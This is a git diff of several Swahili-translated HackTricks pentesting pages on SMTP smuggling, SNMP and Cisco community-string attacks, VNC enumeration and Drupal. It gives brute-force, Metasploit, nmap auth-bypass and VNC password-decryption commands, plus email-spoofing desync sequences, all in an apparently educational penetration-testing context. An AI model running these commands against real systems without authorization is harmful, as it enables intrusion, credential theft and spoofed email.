* **`SecCodeCopySigningIdentifier`**: Inapata kitambulisho cha kusaini (mfano, Kitambulisho cha Timu) kutoka kwa `SecCodeRef`.
* **`SecCodeGetTypeID`**: Inarudisha kitambulisho cha aina kwa vitu vya `SecCodeRef`.
* **`SecRequirementGetTypeID`**: Inapata CFTypeID ya `SecRequirementRef`.
#### **Bendera na Misingi ya Kusaini Msimbo**
* **`kSecCSDefaultFlags`**: Bendera za kawaida zinazotumika katika kazi nyingi za Security.framework kwa ajili ya operesheni za kusaini msimbo.
* **`kSecCSDefaultFlags`**: Bendera za kawaida zinazotumika katika kazi nyingi za Security.framework kwa operesheni za kusaini msimbo.
* **`kSecCSSigningInformation`**: Bendera inayotumika kuashiria kwamba habari za kusaini zinapaswa kupatikana.
## Utekelezaji wa Saini ya Msimbo
**Kernel** ndiye anayekagua **saini ya msimbo** kabla ya kuruhusu msimbo wa programu kutekelezwa. Aidha, njia moja ya kuweza kuandika na kutekeleza msimbo mpya katika kumbukumbu ni kutumia JIT ikiwa `mprotect` inaitwa na bendera ya `MAP_JIT`. Kumbuka kwamba programu inahitaji haki maalum ili iweze kufanya hivi.
**Kernel** ndiye anayekagua **saini ya msimbo** kabla ya kuruhusu msimbo wa programu kutekelezwa. Zaidi ya hayo, njia moja ya kuwa na uwezo wa kuandika na kutekeleza msimbo mpya katika kumbukumbu ni kutumia JIT ikiwa `mprotect` inaitwa na bendera ya `MAP_JIT`. Kumbuka kwamba programu inahitaji haki maalum ili iweze kufanya hivi.
## `cs_blobs` & `cs_blob`

View file

@ -17,29 +17,29 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## Basic Information
Aina hii ya udhaifu iligunduliwa [**awali katika chapisho hili**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ambapo inaelezwa kuwa inawezekana **kufaidika na tofauti katika jinsi itifaki ya SMTP inavyotafsiriwa** wakati wa kumaliza barua pepe, ikiruhusu mshambuliaji kusafirisha barua pepe zaidi ndani ya mwili wa ile halali, ikiruhusu kuiga watumiaji wengine wa eneo lililoathirika (kama admin@outlook.com) kwa kupita kinga kama SPF.
Aina hii ya udhaifu iligunduliwa [**awali katika chapisho hili**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ambapo inaelezwa kuwa inawezekana **kufaidika na tofauti katika jinsi itifaki ya SMTP inavyotafsiriwa** wakati wa kumaliza barua pepe, ikiruhusu mshambuliaji kusafisha barua pepe zaidi ndani ya mwili wa ile halali, ikiruhusu kuiga watumiaji wengine wa eneo lililoathirika (kama admin@outlook.com) kwa kupita kinga kama SPF.
### Why
Hii ni kwa sababu katika itifaki ya SMTP, **data ya ujumbe** inayopaswa kutumwa katika barua pepe inasimamiwa na mtumiaji (mshambuliaji) ambaye anaweza kutuma data iliyoundwa kwa makusudi ikitumia tofauti katika parsers ambazo zitasafirisha barua pepe za ziada kwa mpokeaji. Angalia mfano huu ulioonyeshwa kutoka kwa chapisho la awali:
Hii ni kwa sababu katika itifaki ya SMTP, **data ya ujumbe** inayopaswa kutumwa katika barua pepe inasimamiwa na mtumiaji (mshambuliaji) ambaye anaweza kutuma data iliyoundwa kwa makusudi ikitumia tofauti katika parsers ambazo zitasafisha barua pepe za ziada kwa mpokeaji. Angalia mfano huu ulioonyeshwa kutoka kwa chapisho la awali:
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### How
Ili kufaidika na udhaifu huu, mshambuliaji anahitaji kutuma data ambayo **seva ya SMPT ya Kutoka inadhani ni barua pepe 1 tu lakini seva ya SMTP ya Kuingia inadhani kuna barua pepe kadhaa**.
Ili kufaidika na udhaifu huu, mshambuliaji anahitaji kutuma data ambayo **seva ya SMPT ya Kutoka inadhani ni barua moja tu lakini seva ya SMTP ya Kuingia inadhani kuna barua kadhaa**.
Watafiti waligundua kuwa seva tofauti za **Kuingia zinachukulia wahusika tofauti kama mwisho wa data** ya ujumbe wa barua pepe ambayo seva za Kutoka hazichukui.\
Kwa mfano, mwisho wa kawaida wa data ni `\r\n.\r`. Lakini ikiwa seva ya SMTP ya Kuingia pia inasaidia `\n.`, mshambuliaji anaweza kuongeza **data hiyo katika barua pepe yake na kuanza kuonyesha amri za SMTP** za mpya ili kuisafirisha kama ilivyoonyeshwa katika picha ya awali.
Watafiti waligundua kuwa **seva za Kuingia zinachukulia wahusika tofauti kama mwisho wa data** ya ujumbe wa barua pepe ambayo seva za Kutoka hazichukui.\
Kwa mfano, mwisho wa kawaida wa data ni `\r\n.\r`. Lakini ikiwa seva ya SMTP ya Kuingia pia inasaidia `\n.`, mshambuliaji anaweza kuongeza **data hiyo katika barua pepe yake na kuanza kuashiria amri za SMTP** za mpya ili kuisafisha kama ilivyoonyeshwa katika picha ya awali.
Kwa kweli, hii inaweza kufanya kazi tu ikiwa **seva ya SMTP ya Kutoka haitibu data hii** kama mwisho wa data ya ujumbe, kwa sababu katika kesi hiyo itaona barua pepe 2 badala ya 1 tu, hivyo mwishowe hii ndiyo desynchronization inayotumiwa katika udhaifu huu.
Kwa kweli, hii inaweza kufanya kazi tu ikiwa **seva ya SMTP ya Kutoka haitibu data hii** kama mwisho wa data ya ujumbe, kwa sababu katika kesi hiyo itaona barua 2 badala ya 1 tu, hivyo mwishowe hii ndiyo desynchronization inayotumiwa katika udhaifu huu.
Data ya uwezekano wa desynchronization:
* `\n.`
* `\n.\r`
Pia kumbuka kuwa SPF inapita kwa sababu ikiwa unapasua barua pepe kutoka `admin@outlook.com` kutoka kwa barua pepe ya `user@outlook.com`, **mtumaji bado ni `outlook.com`.**
Pia kumbuka kuwa SPF inapita kwa sababu ikiwa unasafisha barua pepe kutoka `admin@outlook.com` kutoka kwa barua pepe ya `user@outlook.com`, **mjumbe bado ni `outlook.com`.**
## **References**

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -29,7 +29,7 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
{% hint style="info" %}
SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa wazi**.
SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa kwa wazi**.
{% endhint %}
### MIB
@ -43,7 +43,7 @@ Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax
Viwango vya juu zaidi vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyosimamiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyosimamiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
@ -58,11 +58,11 @@ Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1
Hapa kuna ufafanuzi wa anwani hii.
* 1 hii inaitwa ISO na inaweka wazi kuwa hii ni OID. Hii ndiyo sababu OIDs zote huanza na “1”
* 1 hii inaitwa ISO na inaweka wazi kuwa hii ni OID. Hii ndiyo sababu OIDs zote huanza na "1"
* 3 hii inaitwa ORG na inatumika kubainisha shirika lililojenga kifaa.
* 6 hii ni dod au Wizara ya Ulinzi ambayo ni shirika lililoanzisha Mtandao kwanza.
* 1 hii ni thamani ya mtandao kuashiria kuwa mawasiliano yote yatatokea kupitia Mtandao.
* 4 thamani hii inaashiria kuwa kifaa hiki kimeundwa na shirika binafsi na si la serikali.
* 4 thamani hii inaamua kuwa kifaa hiki kimeundwa na shirika binafsi na si la serikali.
* 1 thamani hii inaashiria kuwa kifaa kimeundwa na kampuni au chombo cha biashara.
Thamani hizi sita za kwanza huwa sawa kwa vifaa vyote na zinakupa taarifa za msingi kuhusu vifaa hivyo. Mfuatano huu wa nambari utakuwa sawa kwa OIDs zote, isipokuwa wakati kifaa kimeundwa na serikali.
@ -71,7 +71,7 @@ Tukihamia kwenye seti inayofuata ya nambari.
* 1452 inatoa jina la shirika lililotengeneza kifaa hiki.
* 1 inaelezea aina ya kifaa. Katika kesi hii, ni saa ya alamu.
* 2 inaashiria kuwa kifaa hiki ni kitengo cha terminal cha mbali.
* 2 inaamua kuwa kifaa hiki ni kitengo cha terminal cha mbali.
Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
@ -87,8 +87,8 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
Kuna matoleo mawili muhimu ya SNMP:
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **mfuatano wa jamii kama uthibitishaji**.
* **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
* **SNMPv1**: Kuu, bado ndiyo inayotumika mara nyingi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **mfuatano wa jamii kama uthibitishaji**.
* **SNMPv3**: Inatumia mfumo bora wa **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya **dictionary** inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
### Mfuatano wa Jamii
@ -99,7 +99,7 @@ Kuna **aina 2 za mfuatano wa jamii**:
* **`private`** **Soma/Andika** kwa ujumla
Kumbuka kuwa **uwezo wa kuandika OID unategemea mfuatano wa jamii unaotumika**, hivyo **hata** ukigundua kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\
Ikiwa unajaribu **kuandika** kitu, **`noSuchName` au `readOnly` kosa** linapokelewa\*\*.\*\*
Ikiwa unajaribu **kuandika** kitu, **kosa `noSuchName` au `readOnly` linapokelewa**.\*\*.\*\*
Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitajibu. Hivyo, ikiwa inajibu, **mfuatano wa jamii halali umetumika**.
@ -111,7 +111,7 @@ Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitaji
* Meneja hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) kwenye bandari **162**.
* Wakati inapotumika na [Usalama wa Tabaka la Usafiri](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) au [Usalama wa Tabaka la Usafiri wa Datagram](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**.
## Mfuatano wa Jamii wa Brute-Force (v1 na v2c)
## Mfuatano wa Jamii ya Brute-Force (v1 na v2c)
Ili **kukisia mfuatano wa jamii** unaweza kufanya shambulio la kamusi. Angalia [hapa njia tofauti za kufanya shambulio la brute-force dhidi ya SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Mfuatano wa jamii unaotumika mara nyingi ni `public`.
@ -169,11 +169,11 @@ Mfululizo wa **thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuat
* **Mchakato wa Mfumo**: Inapatikana kupitia `1.3.6.1.2.1.25.1.6.0`, vigezo hivi vinaruhusu ufuatiliaji wa michakato hai ndani ya mfumo.
* **Programu Zinazoendesha**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kwa ajili ya kufuatilia programu zinazotembea kwa sasa.
* **Njia za Michakato**: Ili kubaini mahali mchakato unapoendesha, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
* **Njia za Michakato**: Ili kubaini mahali mchakato unapotembea kutoka, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
* **Vitengo vya Hifadhi**: Ufuatiliaji wa vitengo vya hifadhi unarahisishwa na `1.3.6.1.2.1.25.2.3.1.4`.
* **Jina la Programu**: Ili kubaini programu iliyosanikishwa kwenye mfumo, `1.3.6.1.2.1.25.6.3.1.2` inatumika.
* **Akaunti za Watumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu ufuatiliaji wa akaunti za watumiaji.
* **Port za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa port za TCP za mitaa, ikitoa mwanga kuhusu muunganisho hai wa mtandao.
* **Akaunti za Watumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu kufuatilia akaunti za watumiaji.
* **Port za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya kufuatilia port za TCP za mitaa, ikitoa mwanga juu ya muunganisho hai wa mtandao.
### Cisco
@ -197,7 +197,7 @@ Ikiwa una **nywila** inayokuruhusu **kuandika thamani** ndani ya huduma ya SNMP,
Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama net-snmp.
**Syntax:** braa \[Community-string]@\[IP ya seva ya SNMP]:\[iso id]
**Syntax:** braa \[Nywila ya Jamii]@\[IP ya seva ya SNMP]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -211,9 +211,9 @@ Mchakato huanza kwa kutoa **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) kutoka kila f
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Tambua Mfuatano Binafsi**
### **Tambua Mfuatano wa Kibinafsi**
Hatua muhimu inahusisha kutambua **mfuatano binafsi wa jamii** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data ya SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
Hatua muhimu inahusisha kutambua **mfuatano wa jamii ya kibinafsi** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data ya SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
```bash
grep -i "trap" *.snmp
```
@ -231,19 +231,19 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## Kubadilisha thamani za SNMP
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itabidi ujue **nyota ya faragha** ili kufanya hivyo.
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itakubidi ujue **nyota ya faragha** ili kufanya hivyo.
## Kupotosha
Ikiwa kuna ACL inayoruhusu tu IP fulani kuuliza huduma ya SMNP, unaweza kupotosha moja ya anwani hizi ndani ya pakiti ya UDP na kunasa trafiki.
## Kagua faili za Mipangilio ya SNMP
## Kagua faili za Usanidi wa SNMP
* snmp.conf
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Pentesting Cisco Networks
**SNMP** inafanya kazi kupitia UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinabainisha viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-kandika (RW)**. Njia maarufu ya shambulio kwa wapimaji ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
**SNMP** inafanya kazi juu ya UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinatengeneza viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-na-kandika (RW)**. Njia maarufu ya shambulio kwa wapentester ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
Chombo cha vitendo kwa ajili ya kutekeleza mashambulizi kama haya ya nguvu ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambacho kinahitaji orodha ya nyuzi za jamii zinazoweza kuwa na anwani za IP za malengo:
```bash
@ -31,18 +31,18 @@ onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
The Metasploit framework features the `cisco_config_tftp` module, facilitating the extraction of device configurations, contingent upon acquiring an RW community string. Essential parameters for this operation include:
Mfumo wa Metasploit una moduli ya `cisco_config_tftp`, inayorahisisha uchimbaji wa mipangilio ya kifaa, kulingana na kupata nywila ya RW jamii. Vigezo muhimu kwa ajili ya operesheni hii ni:
* RW community string (**COMMUNITY**)
* Nywila ya RW jamii (**COMMUNITY**)
* IP ya mshambuliaji (**LHOST**)
* IP ya kifaa kilicholengwa (**RHOSTS**)
* Njia ya marudio kwa ajili ya faili za usanidi (**OUTPUTDIR**)
* IP ya kifaa kilichokusudiwa (**RHOSTS**)
* Njia ya marudio kwa ajili ya faili za mipangilio (**OUTPUTDIR**)
Upon configuration, this module enables the download of device settings directly to a specified folder.
Baada ya kuweka mipangilio, moduli hii inaruhusu upakuaji wa mipangilio ya kifaa moja kwa moja kwenye folda iliyotajwa.
#### `snmp_enum`
Another Metasploit module, **`snmp_enum`**, specializes in gathering detailed hardware information. It operates with either type of community string and requires the target's IP address for successful execution:
Moduli nyingine ya Metasploit, **`snmp_enum`**, inajikita katika kukusanya taarifa za kina za vifaa. Inafanya kazi na aina yoyote ya nywila ya jamii na inahitaji anwani ya IP ya lengo kwa ajili ya utekelezaji wa mafanikio:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -52,23 +52,23 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **hacking career** na kuweza kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
Ikiwa unavutiwa na **hacking career** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -30,7 +30,7 @@ VNC kwa kawaida hutumia bandari **5800 au 5801 au 5900 au 5901.**
PORT STATE SERVICE
5900/tcp open vnc
```
## Uhesabuji
## Uhesabuzi
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
@ -45,7 +45,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
Default **nenosiri limehifadhiwa** katika: \~/.vnc/passwd
Ikiwa una nenosiri la VNC na linaonekana limefichwa (baiti chache, kama vile linaweza kuwa nenosiri lililofichwa), huenda limeandikwa kwa 3des. Unaweza kupata nenosiri la wazi kwa kutumia [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
Ikiwa una nenosiri la VNC na linaonekana limefichwa (biti chache, kama vile linaweza kuwa nenosiri lililofichwa), huenda limeandikwa kwa 3des. Unaweza kupata nenosiri la wazi kwa kutumia [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash
make
vncpwd <vnc password file>
@ -60,15 +60,15 @@ I save the tool here also for ease of access:
* `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -18,10 +18,10 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.
## With PHP Filter Module
{% hint style="warning" %}
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha moduli ya `PHP filter`**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani/vidokezo kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha `PHP filter` module**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani/vidokezo kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
{% endhint %}
Unahitaji **plugin ya php iwe imewekwa** (angalia kwa kufikia _/modules/php_ na ikiwa inarudisha **403** basi, **ipo**, ikiwa **haipatikani**, basi **plugin ya php haijawekwa**)
